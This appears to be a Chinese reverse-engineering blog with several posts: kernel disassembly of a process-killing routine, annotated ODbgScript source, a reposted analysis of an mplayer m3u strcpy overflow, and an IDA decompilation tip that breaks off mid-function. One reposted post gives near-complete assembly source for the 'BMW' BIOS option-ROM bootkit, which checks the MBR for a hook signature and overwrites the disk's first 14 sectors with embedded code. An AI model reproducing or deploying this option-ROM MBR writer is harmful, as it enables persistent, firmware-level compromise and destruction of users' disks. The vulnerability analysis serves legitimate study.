KillProcess proc near ; CODE XREF: _FindAddKillProcess+268?p
.text:00010CB0
.text:00010CB0 PEPROCESS = dword ptr 8
.text:00010CB0
.text:00010CB0 mov edi, edi
.text:00010CB2 push ebp
.text:00010CB3 mov ebp, esp
.text:00010CB5 lea eax, [ebp+PEPROCESS]
.text:00010CB8 push eax
.text:00010CB9 push [ebp+PEPROCESS]
.text:00010CBC call PsLookupProcessByProcessId
.text:00010CC1 test eax, eax
.text:00010CC3 jl short loc_10CCE
.text:00010CC5 mov ecx, [ebp+PEPROCESS] ; Object
.text:00010CC8 call ds:ObfDereferenceObject
.text:00010CCE
.text:00010CCE loc_10CCE: ; CODE XREF: KillProcess+13?j
.text:00010CCE push [ebp+PEPROCESS]
.text:00010CD1 call sub_10C4E
.text:00010CD6 test eax, eax
.text:00010CD8 jl short loc_10CDE
.text:00010CDA xor eax, eax
.text:00010CDC jmp short loc_10CE3
.text:00010CDE ; --------------------------------------------- ------------------------------
.text:00010CDE
.text:00010CDE loc_10CDE: ; CODE XREF: KillProcess+28?j
.text:00010CDE mov eax, 0C0000001h
.text:00010CE3
.text:00010CE3 loc_10CE3: ; CODE XREF: KillProcess+2C?j
.text:00010CE3 pop ebp
.text:00010CE4 retn 4
.text:00010CE4 KillProcess endp
然後是00010CD1的調用:

代碼:
                
.text:00010C50 push offset unk_12088
.text:00010C55 call __SEH_prolog4
.text:00010C5A xor edi, edi
.text:00010C5C mov [ebp+var_1C], edi
.text:00010C5F mov [ebp+ms_exc.disabled], edi
.text:00010C62 push edi ; Object
.text:00010C63
.text:00010C63 loc_10C63: ; CODE XREF: sub_10C4E+32?j
.text:00010C63 push [ebp+PEPROCESS] ; PEPROCESS
.text:00010C66 call sub_10BEE
.text:00010C6B mov esi, eax
.text:00010C6D cmp esi, edi
.text:00010C6F jz short loc_10C99
.text:00010C71 mov [ebp+var_1C], edi
.text:00010C74 push edi
.text:00010C75 push esi
.text:00010C76 call PspTerminateProcess
.text:00010C7C mov [ebp+var_1C], eax
.text:00010C7F push esi
.text:00010C80 jmp short loc_10C63
.text:00010C82 ; --------------------------------------------- ------------------------------
.text:00010C82
.text:00010C82 loc_10C82: ; DATA XREF: .rdata:0001209C?o
.text:00010C82 mov eax, [ebp+ms_exc.exc_ptr]
.text:00010C85 mov eax, [eax]
.text:00010C87 mov eax, [eax]
.text:00010C89 mov [ebp+var_20], eax
.text:00010C8C xor eax, eax
.text:00010C8E inc eax
.text:00010C8F retn
.text:00010C90 ; --------------------------------------------- ------------------------------
.text:00010C90
.text:00010C90 loc_10C90: ; DATA XREF: .rdata:000120A0?o
.text:00010C90 mov esp, [ebp+ms_exc.old_esp]
.text:00010C93 mov eax, [ebp+var_20]
.text:00010C96 mov [ebp+var_1C], eax
.text:00010C99
.text:00010C99 loc_10C99: ; CODE XREF: sub_10C4E+21?j
.text:00010C99 mov [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:00010CA0 mov eax, [ebp+var_1C]
.text:00010CA3 call __SEH_epilog4
.text:00010CA8 retn 4
.text:00010CA8 sub_10C4E endp
先到這裡吧。 。寫的有點簡略,大家見諒。 。 。

2011年9月27日星期二

ODbgScript源碼學習(二十一)


void initLogWindow() {
//初始化記錄窗口
   if (ollylang->wndLog.bar.nbar==0) {//如果語言工具條為空

ollylang->wndLog.bar.name[0]="Address"; //顯示地址字符串
    ollylang->wndLog.bar.defdx[0]=9; //索引
    ollylang->wndLog.bar.mode[0]=BAR_NOSORT; //模式為非分類

ollylang->wndLog.bar.name[1]="Message"; //消息
    ollylang->wndLog.bar.defdx[1]=130; //索引
    ollylang->wndLog.bar.mode[1]=BAR_NOSORT; //費分離

ollylang->wndLog.bar.nbar=2; //設置為2
    ollylang->wndLog.mode=TABLE_COPYMENU|TABLE_APPMENU|TABLE_SAVEPOS|TABLE_ONTOP|TABLE_HILMENU; //模式為標籤複製菜單|添加菜單|保存指針|非頂部|HIL菜單
    ollylang->wndLog.drawfunc=wndlog_get_text; //重畫函數為獲取文本

}
Quicktablewindow(&ollylang->wndLog,15,2,wndlogclass,"Script Log Window");
//快速表窗口
if (ollylang->wndLog.hw) { //如果句柄存在
HICON ico=LoadIcon(hinstModule(),MAKEINTRESOURCE(IDI_ICON_LOG));//加載圖標
SendMessage(ollylang->wndLog.hw,WM_SETICON,false,(long)ico);//發送設置圖標消息
// CloseHandle(ico);//關閉
}
}

int wndlog_sort_function(const t_sortheader *p1,const t_sortheader *p2,const int sort) {//分類函數
t_wndlog_data *lline1 = (t_wndlog_data *)p1; //行為分類頭數據指針
t_wndlog_data *lline2 = (t_wndlog_data *)p2;//行為分類頭數據指針

if (lline1->line > lline2->line)//如果行1大於行2
return 1; //則返回1
else if (lline1->line < lline2->line)
return -1;//否則返回-1
return 0; //默認返回0
}

int wndlog_get_text(char *s, char *mask, int *select, t_sortheader *ph, int column) {//獲取文本

unsigned int ret;
t_wndlog_data *lline = (t_wndlog_data *)ph;

t_dump *cpuasm; //定義轉儲類型變量
int p;

cpuasm = (t_dump *)Plugingetvalue(VAL_CPUDASM); //獲取插件值

    ret = sprintf(s,"");

switch (column) {
case 0: //打印不同類型
ret = sprintf(s, "%X", lline->eip);
break;
case 1:
ret = sprintf(s, "%s", lline->message);
break;

}

if (!ret) ret=strlen(s); //如果打印長度不為0,賦值s的長度后返回

return ret;
}

void clearLogLines() {

if (!ollylang->tLogLines.empty()) {//如果數據不為空
Deletesorteddatarange(&(ollylang->wndLog.data),0,0xffffffff);//釋放記錄窗口數據0-0xffffffff
ollylang->tLogLines.clear(); //清除行
if (ollylang->wndLog.hw!=NULL) InvalidateRect(ollylang->wndLog.hw, NULL, FALSE); //重畫記錄窗口
}
}

int add2log(char* message) { //添加記錄

t_dump *cpuasm;
t_wndlog_data lline={0};
cpuasm = (t_dump *)Plugingetvalue(VAL_CPUDASM);

lline.line = ollylang->tLogLines.size()+1; //行為語言行大小加1
lline.eip = cpuasm->sel0;
lline.size = 1;
strncpy(lline.message,message,LOG_MSG_LEN-1);

ollylang->tLogLines.push_back(lline); //入棧

Addsorteddata(&(ollylang->wndLog.data),&(ollylang->tLogLines.back()));//添加數據

if (ollylang->wndLog.hw!=NULL) {
Selectandscroll(&ollylang->wndLog,lline.line-1,2);
InvalidateRect(ollylang->wndLog.hw, NULL, FALSE);
}
return 1;
}

int add2log(string & message) {

return add2log((char*)message.c_str());

}

int add2logMasked(char* message,char* mask) {
return 1;
}

2011年9月26日星期一

【轉載】簡單分析mplayer播放器讀取.m3u格式文件漏洞


作 者: kindsjay
時 間: 2011-09-01,11:04:39
鏈接: http://bbs.pediy.com/showthread.php?t=139600

前言:這段時間一直在努力學習漏洞分析,並參考了failwest大牛製作<0day第二版>, 暴風m3u文件讀取漏洞(看雪網->鮮果也曾對其進行分析),小弟不才,只能跟著大牛後面跑.
附:暴風m3u分析,是在同事dge的幫助下完成的調試,乘熱打鐵,自己分析了同一類型(mplayer播放器)漏洞.也算是對自己知識的總結,第一次寫文章,還請大家指責批評,不清楚的地方可以發郵件問我

測試環境:
  windows xp sp3_cn (實體機測試,沒有使用虛擬機)
   ollyice看雪版
  poc和測試軟件版本見:http://www.exploit-db.com/exploits/17565/
  

漏洞觸發過程分析:
      ollyice 附加mplayer.exe進程,設置OD調試斷點(工具欄-->選項-->調試選項--->異常標籤)
------------------------------
   忽略在Kernel32中的內存訪問異常,並勾選以下選項
       int3 中斷
       單步中斷
       整數除以0
           無效或特權指令
       所有FPU異常
 -----------------------------------------

    將生成的m3u格式文件拖拽到mplayer播放器窗口中,F9運行,OD會自動下斷在程序異常信息信息處.
      觀察od堆棧信息窗口,查看棧信息

0022E948 00000000
0022E94C 00561760 返回到mplayer.00561760 來自<jmp.&msvcrt.strcpy>(可疑)
0022E950 0022EBB8 ASCII "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0022E954 003FD5C8 ASCII "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0022E958 00000000
0022E95C 00000000
0022E960 00000000
0022E964 0022E974
0022E968 00000000
0022E96C 7C930098 返回到ntdll.7C930098 來自ntdll.7C922AB0


可以發現jmp.&msvcrt.strcpy(可疑,再後面進行證實),鼠標右鍵點擊該行,選擇"反彙編窗口中跟隨",來到彙編主窗體,對該函數下斷點,重新載入m3u至mplayer,
F9來到斷點處,可以查看下堆棧信息和彙編信息

------------------------------------------
堆棧信息:
0022E950 0022EBB8 |dest = 0022EBB8(目標地址)
0022E954 003FD5C8 \src = "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...(源地址)
0022E958 00000000
0022E95C 00000000
0022E960 00000000
0022E964 0022E974
0022E968 00000000
0022E96C 7C930098 返回到ntdll.7C930098 來自ntdll.7C922AB0

彙編主窗體信息:
00561754 |. 895C24 04 mov dword ptr [esp+4], ebx ; ||
00561758 |. 890424 mov dword ptr [esp], eax ; ||
0056175B |. E8 A8032900 call <jmp.&msvcrt.strcpy> ; |\strcpy
00561760 |. 8D9424 680200>lea edx, dword ptr [esp+268] ; |
00561767 |. C74424 04 2F0>mov dword ptr [esp+4], 2F ; |
0056176F |. 891424 mov dword ptr [esp], edx ; |
00561772 |. E8 C1032900 call <jmp.&msvcrt.strrchr> ; \strrchr
-----------------------------------------------

F7進入call:
   77C16030 > 57 push edi
77C16031 8B7C24 08 mov edi, dword ptr [esp+8]
77C16035 EB 6A jmp short 77C160A1
77C16037 8DA424 00000000 lea esp, dword ptr [esp]
77C1603E 8BFF mov edi, edi
77C16040 > 8B4C24 04 mov ecx, dword ptr [esp+4]
77C16044 57 push edi
77C16045 F7C1 03000000 test ecx, 3
77C1604B 74 0F je short 77C1605C
77C1604D 8A01 mov al, byte ptr [ecx]
77C1604F 41 inc ecx
77C16050 84C0 test al, al
77C16052 74 3B je short 77C1608F
77C16054 F7C1 03000000 test ecx, 3
77C1605A ^ 75 F1 jnz short 77C1604D
77C1605C 8B01 mov eax, dword ptr [ecx]
77C1605E BA FFFEFE7E mov edx, 7EFEFEFF
77C16063 03D0 add edx, eax
77C16065 83F0 FF xor eax, FFFFFFFF
77C16068 33C2 xor eax, edx
77C1606A 83C1 04 add ecx, 4
77C1606D A9 00010181 test eax, 81010100
77C16072 ^ 74 E8 je short 77C1605C
77C16074 8B41 FC mov eax, dword ptr [ecx-4]
77C16077 84C0 test al, al
77C16079 74 23 je short 77C1609E
77C1607B 84E4 test ah, ah
77C1607D 74 1A je short 77C16099
77C1607F A9 0000FF00 test eax, 0FF0000
77C16084 74 0E je short 77C16094
77C16086 A9 000000FF test eax, FF000000
77C1608B 74 02 je short 77C1608F
77C1608D ^ EB CD jmp short 77C1605C
77C1608F 8D79 FF lea edi, dword ptr [ecx-1]
77C16092 EB 0D jmp short 77C160A1
77C16094 8D79 FE lea edi, dword ptr [ecx-2]
77C16097 EB 08 jmp short 77C160A1
77C16099 8D79 FD lea edi, dword ptr [ecx-3]
77C1609C EB 03 jmp short 77C160A1
77C1609E 8D79 FC lea edi, dword ptr [ecx-4]
77C160A1 8B4C24 0C mov ecx, dword ptr [esp+C]
77C160A5 F7C1 03000000 test ecx, 3
77C160AB 74 19 je short 77C160C6
77C160AD 8A11 mov dl, byte ptr [ecx]
77C160AF 41 inc ecx
77C160B0 84D2 test dl, dl
77C160B2 74 64 je short 77C16118
77C160B4 8817 mov byte ptr [edi], dl
77C160B6 47 inc edi
77C160B7 F7C1 03000000 test ecx, 3
77C160BD ^ 75 EE jnz short 77C160AD
77C160BF EB 05 jmp short 77C160C6
77C160C1 8917 mov dword ptr [edi], edx(這裡出現異常)
77C160C3 83C7 04 add edi, 4
77C160C6 BA FFFEFE7E mov edx, 7EFEFEFF
77C160CB 8B01 mov eax, dword ptr [ecx]
77C160CD 03D0 add edx, eax
77C160CF 83F0 FF xor eax, FFFFFFFF
77C160D2 33C2 xor eax, edx
77C160D4 8B11 mov edx, dword ptr [ecx]
77C160D6 83C1 04 add ecx, 4
77C160D9 A9 00010181 test eax, 81010100
77C160DE ^ 74 E1 je short 77C160C1
77C160E0 84D2 test dl, dl
77C160E2 74 34 je short 77C16118
77C160E4 84F6 test dh, dh
77C160E6 74 27 je short 77C1610F
77C160E8 F7C2 0000FF00 test edx, 0FF0000
77C160EE 74 12 je short 77C16102
77C160F0 F7C2 000000FF test edx, FF000000
77C160F6 74 02 je short 77C160FA
77C160F8 ^ EB C7 jmp short 77C160C1
77C160FA 8917 mov dword ptr [edi], edx
77C160FC 8B4424 08 mov eax, dword ptr [esp+8]
77C16100 5F pop edi
77C16101 C3 retn
77C16102 66:8917 mov word ptr [edi], dx
77C16105 8B4424 08 mov eax, dword ptr [esp+8]
77C16109 C647 02 00 mov byte ptr [edi+2], 0
77C1610D 5F pop edi
77C1610E C3 retn
77C1610F 66:8917 mov word ptr [edi], dx
77C16112 8B4424 08 mov eax, dword ptr [esp+8]
77C16116 5F pop edi
77C16117 C3 retn
77C16118 8817 mov byte ptr [edi], dl
77C1611A 8B4424 08 mov eax, dword ptr [esp+8]
77C1611E 5F pop edi
77C1611F C3 retn

可以發現,在調試過程中,紅色地方,就是之前我們捕獲的異常地址處,說明該函數在函數cpy時,發生了溢出


命令:DD 0022EBB8,查看內存信息,內容已經被覆蓋,

0022EBB8 68 74 74 70 3A 2F 2F 20 41 41 41 41 41 41 41 41 http:// AAAAAAAA
0022EBC8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBD8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBE8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EBF8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC08 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC18 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC28 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC38 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0022EC48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41..... AAAAAAAAAAAAAAA.....



原理分析:函數在拷貝的過程中,由於原地址數據超長,導致目標數據出現溢出.
總結:之前我看過failwest和仙果的文章,他們分別是按特徵字符串".m3u"和"Readfile函數"下斷點並進行跟踪,查找異常函數,而我此篇文章卻是直接分析的棧,可能會有些跳躍,大家可自行選擇

2011年9月25日星期日

ODbgScript源碼學習(二十)


LogWindows.cpp:
LRESULT CALLBACK wndlog_winproc(HWND hw,UINT msg,WPARAM wp,LPARAM lp) {
t_logwnd_data *pll; //記錄數據結構定義
HMENU menu; //菜單
int i,shiftkey,controlkey;

switch (msg) {
case WM_DESTROY: //如果消息是
case WM_MOUSEMOVE:
case WM_LBUTTONDOWN:
case WM_LBUTTONDBLCLK:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONDBLCLK:
case WM_HSCROLL:
case WM_VSCROLL:
case WM_TIMER:
case WM_SYSKEYDOWN: //如果是系統按鍵消息
Tablefunction(&ollylang->wndLog,hw,msg,wp,lp); //建立表函數
break;                           // 中斷Pass message to DefMDIChildProc()
// Custom messages responsible for scrolling and selection. User-drawn
// windows must process them, standard OllyDbg windows without extra
// functionality pass them to Tablefunction()
case WM_USER_SCR:
case WM_USER_VABS:
case WM_USER_VREL:
case WM_USER_VBYTE:
case WM_USER_STS:
case WM_USER_CNTS:
case WM_USER_CHGS:
case WM_WINDOWPOSCHANGED: //如果消息是重載
return Tablefunction(&ollylang->wndLog,hw,msg,wp,lp);//返回表函數
case WM_USER_MENU:
menu=CreatePopupMenu(); //如果是用戶菜單建立菜單

// AppendMenu(menu,MF_SEPARATOR,0,"-");//應用菜單

pll=(t_logwnd_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);//由選擇獲取分類數據
if (menu!=NULL && pll!=NULL) { //如果菜單句柄和記錄數據不為空
AppendMenu(menu,MF_DEFAULT, 10,"Clear");//增加清除菜單
// AppendMenu(menu,MF_STRING, 32,"Toggle Script BP\tF2");//增加中斷菜單
};

// Even when menu is NULL, call to Tablefunction is still meaningful.
i=Tablefunction(&ollylang->wndLog,hw,WM_USER_MENU,0,(LPARAM)menu);//表函數

if (menu!=NULL) DestroyMenu(menu);//釋放菜單
switch (i) {
case 10:
clearLogLines();//清除行
InvalidateRect(hw, NULL, FALSE);//重設客戶區
return 1;
default:;
}
return 0;

case WM_USER_DBLCLK:
pll=(t_wndlog_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);//獲取數據
if (pll!=NULL) {
if (pll->line) Setcpu(0,pll->line,0,0,CPU_ASMHIST|CPU_ASMCENTER|CPU_ASMFOCUS);//設置CPU窗口
InvalidateRect(hw, NULL, FALSE);//重設客戶區
return 1;
}

case WM_KEYDOWN:
shiftkey=GetKeyState(VK_SHIFT) & 0x8000;//獲取按鍵碼
controlkey=GetKeyState(VK_CONTROL) & 0x8000;
if (wp==VK_RETURN && shiftkey==0 && controlkey==0) {
// Return key follows in Disassembler.
pll=(t_wndlog_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);
if (pll!=NULL) {
if (pll->line) Setcpu(0,pll->line,0,0,CPU_ASMHIST|CPU_ASMCENTER|CPU_ASMFOCUS);//設置CPU窗口
InvalidateRect(hw, NULL, FALSE);
}
}
// else if (wp==VK_F2) { // && shiftkey==0 && controlkey==0) {

Tablefunction(&ollylang->wndLog,hw,msg,wp,lp);//表函數
break;
        case WM_USER_CHALL:
        case WM_USER_CHMEM:
            InvalidateRect(hw, NULL, FALSE);
            return 0;
        case WM_PAINT:
            Painttable(hw, &ollylang->wndLog, wndlog_get_text);//重畫表
return 0;
default:
break;
}
return DefMDIChildProc(hw,msg,wp,lp); //默認處理
}


2011年9月24日星期六

[轉載]BMW(ISA代碼)

作者:foxmain
;*******************************************************************************************************************
;*******************************************************************************************************************
        org    0h        ; 运行于BIOS中
        db     55h,0AAh    ; ISA模块头
        db     15        ; 大小为 15*512字节

        jmp    MyROMCodeStart
;*******************************************************************************************************************
;*******************************************************************************************************************


;db 0bh
;db 6dh
;db 03h
        times 18 db 0h
;dd 400020h,8b2e0060h,4e5590c0h
;dd a7164944h
;dd A7h
;db  44h,49h,16h
;db 167
;dd 2010000h,8000cc5h
dw      001ch;              PCI數據結構起始偏移 00h
dw      0034h;              PCI數據結構結束偏移 02h 
dd      52494350h;          PCIR(pci rom)標誌   04h 
dw      10ech;              供應商ID            08h 
dw      8139h;              設備ID(網卡8139)    0ah 
dw      0000;               保留                0ch 
dw      0018h;              PCI數據結構長度     0eh 
db      00h;                PCI數據結構修訂版   10h
db      02,00,00;           類別代碼  
dw      0008h;              代碼長度
dw      0201h;              代碼/數據修訂版本水平
db      00;                 代碼類型(0表示可執行代碼)
db      80h;                指示字節 
dw      0000h;              保留
dd      506e5024h,201h,6500h,0,20000h,6400h,0,0;
;*******************************************************************************************************************
;*******************************************************************************************************************


MyROMCodeStart:
        pushf                          ;
        pushad                         ;PCI設備規範中說明,除了返回值以外,其它的參數必需恢復
         push   es
      push   ds

;        ret
      cld
        call   x_code    ; 跳轉到程序進入點

;*******************************************************************************************************************
;*******************************************************************************************************************

;------------------------------------------------------------------------
incbin "dst_sectors.dat";;;需要復制的數據
;------------------------------------------------------------------------

;*******************************************************************************************************************
;*******************************************************************************************************************
;oxfb9cd
;0xfb8ed
x_code:
        pop    ax
      xor    bx,bx
        push   bx
        pop    es
        push   cs          
        pop    ds                                                   
        mov    si, ax
        mov    di, 7c00h 
        mov    cx, 1c00h
        rep    movsb     ;將需要復制的文件拷貝到7c00h處
  mov    ds,bx
  mov     ah, 41h
        mov     dl, 80h
        mov     bx, 55AAh
        int     13h             ;檢測是否支持擴展的BIOS int 13h功能
        cmp     bx, 0AA55h
  jnz     __Exit
        test    cl, 1
        jz      __Exit

        call   __Estimate_MBR;判斷MBR是否以經被HOOK 
        test   ax,ax
  jnz    __Exit;        如果被HOOK了或者讀取錯誤退出
        mov    ax,7c00h 
        mov    ecx,0
        mov    dx,14
        call   __Write_sectors

__Exit:
        pop    ds
    pop    es
    popad
    popf
    retf


;*******************************************************************************************************************
;*******************************************************************************************************************


;=============================================================
; 需要將名稱變為大寫 
; 輸入:ES:EDI = 字符串CX = 字符串長度(寬字符串) 

;
;=============================================================
ToUpperCase:
    PUSH      ECX
    PUSH      EBX
    XOR       EBX,EBX
    TEST      CX,CX
    JZ        .End        ; CX = 0
    
    ; 目前只處理 a-z => A-Z 
.CheckNextChar:
    CMP       WORD[ES:EDI+EBX],0061H
    JB        .NextChar
    CMP        WORD[ES:EDI+EBX],007AH
    JA        .NextChar
    
    ; a < ch < z
    SUB        WORD[ES:EDI+EBX],20H
    
.NextChar:    
    ; 繼續處理下一個字符
    INC        EBX
    INC        EBX
    DEC        CX
    JNZ        .CheckNextChar

.End:
    ; 返回
    POP        EBX
    POP        ECX
    RET
    
    
;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : write sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. 
;data: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Write_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds
      mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;寫dx個扇區的數據 
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx;從第ecx個扇區開始寫入
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero1:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero1
        mov    ax,4300h
        mov    dl,80h
        int    13h
        jnb    _normal_write
        mov    ax,0ffffh
_normal_write:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : __Estimate_MBR 
;date : 2009-05-26
;if hooked return true else return false
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Estimate_MBR:
        mov    ax,0x8A00  ;7c00+e00
      mov    dx,1;需要讀取的扇區數
      mov    ecx,0;開始讀的起始扇區
      push   ax
      call   __Read_sectors;讀0扇區的內容
      pop    si
    cmp    ax,0xffff
    jz     _erro_read
    mov    ax,[word 0x8BFE] ;7c00+1FE
    cmp    ax,0xAA55
    jnz    FindSign 
      mov    eax,[dword 0x8A92] ;7c00+e00+192
      cmp    eax,0x31746E69;;HOOK標誌
      jz     FindSign
        mov    ax,0
        jmp    NotHook
FindSign:
        mov    ax,1
        jmp    _erro_read
NotHook:
      mov   si,0x8B80 ;7c00+e00+180
      mov   di,0x7d80 ;7c00+180
      mov   cx,0x80
      rep   movsb      ;複製分區表到0x7c00+0x180處 
_erro_read:
      ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : read sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. 
;updata: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Read_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds    
      
        mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;讀取dx個扇區的數據
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx      ;從第ecx個扇區開始讀取。
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero
        mov    ax,4200h
        mov    dl,80h
        int    13h
        jnb    _normal_read
        mov    ax,0ffffh
_normal_read:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************
      
WaitPressScrollKey:
        push   ax
s0:
        in     al,60h
        cmp    al,0x46      ;Scroll Lock鍵掃描碼:46h
        jnz    s1                                   
        stc    
        pop    ax
        ret
s1:
        in     al,61h
        test   al,010h
        jnz    s2
con:
        in     al,61h
        test   al,10h
        jz     con
        dec    cx
s2:
        or     cx,cx
        jnz    s0
        clc
        pop    ax
        ret
times  7680-($-$$)  db  0  ; 添加文件至7680字節大小

2011年9月23日星期五

[轉載]IDA sp-analysis failed 不能F5的解决方案之(一)


有时候用IDA的F5的时候遇到带sp-analysis failed的函数会失败。

代码:
.text:004015ED sub_4015ED      proc near               ; CODE XREF: sub_40116A+1A6p
.text:004015ED                                         ; sub_40116A+1C7p
.text:004015ED
.text:004015ED var_C           = byte ptr -0Ch
.text:004015ED var_8           = dword ptr -8
.text:004015ED var_4           = dword ptr -4
.text:004015ED arg_0           = dword ptr  10h
.text:004015ED
.text:004015ED                 push    ecx
.text:004015EE                 push    esi
.text:004015EF                 push    ebp
.text:004015F0                 mov     ebp, esp
.text:004015F2                 add     esp, 0FFFFFFF8h
.text:004015F5                 mov     ebx, offset String
.text:004015FA                 cmp     dword ptr [ebx], 0FFFFFFFFh
.text:004015FD                 jz      short loc_401606
.text:004015FF                 mov     eax, offset loc_401607
.text:00401604                 jmp     eax
.text:00401606 ; ---------------------------------------------------------------------------
.text:00401606
.text:00401606 loc_401606:                             ; CODE XREF: sub_4015ED+10j
.text:00401606                 nop
.text:00401607
.text:00401607 loc_401607:                             ; DATA XREF: sub_4015ED+12o
.text:00401607                 xor     eax, eax
.text:00401609                 mov     esi, [ebp+arg_0]
.text:0040160C                 mov     al, [esi+ebx]
.text:0040160F                 xor     ebx, ebx
.text:00401611                 push    eax
.text:00401612                 call    sub_4014BF
.text:00401617                 mov     [ebp+var_4], ebx
.text:0040161A                 call    sub_4014D5
.text:0040161F                 mov     [ebp+var_8], ebx
.text:00401622                 push    0
.text:00401624                 push    offset dword_403425
.text:00401629                 push    [ebp+var_4]
.text:0040162C                 push    [ebp+var_8]
.text:0040162F                 call    sub_401561
.text:00401634                 mov     eax, dword_403425
.text:00401639                 ror     eax, 8
.text:0040163C                 cmp     eax, 5
.text:0040163F                 jz      short loc_401649
.text:00401641                 push    eax
.text:00401642                 mov     eax, offset loc_40164A
.text:00401647                 jmp     eax
.text:00401649 ; ---------------------------------------------------------------------------
.text:00401649
.text:00401649 loc_401649:                             ; CODE XREF: sub_4015ED+52j
.text:00401649                 nop
.text:0040164A
.text:0040164A loc_40164A:                             ; DATA XREF: sub_4015ED+55o
.text:0040164A                 pop     eax
.text:0040164B                 xor     ah, [ebp+var_C]
.text:0040164E                 xor     al, [ebp+var_C]
.text:00401651                 xor     edx, edx
.text:00401653                 mov     bx, ax
.text:00401656                 mov     ecx, 4
.text:0040165B
.text:0040165B loc_40165B:                             ; CODE XREF: sub_4015ED+83j
.text:0040165B                 and     al, 0Fh
.text:0040165D                 cmp     al, 9
.text:0040165F                 jle     short loc_401663
.text:00401661                 add     al, 7
.text:00401663
.text:00401663 loc_401663:                             ; CODE XREF: sub_4015ED+72j
.text:00401663                 add     al, 30h
.text:00401665                 mov     dl, al
.text:00401667                 ror     edx, 8
.text:0040166A                 shr     bx, 4
.text:0040166E                 mov     al, bl
.text:00401670                 loop    loc_40165B
.text:00401672                 add     esp, 1Ch
.text:00401675                 pop     ebp
.text:00401676                 pop     esi
.text:00401677                 pop     ecx
.text:00401678                 retn
.text:00401678 sub_4015ED      endp ; sp-analysis failed
用外径湾岸之后改掉程式码在储存,然后重新用开发协会打开F5键就可以了,SP -分析失败也就消失了。

在OD里直接改成JMP 40164A
 

分析之后不难发现不能F5的原因,就在于跳转。
一个函数里面的一个跳转在未知的情况下会出现不能F5键。

结果:

代码:

char __cdecl sub_4015ED(int a1)
{
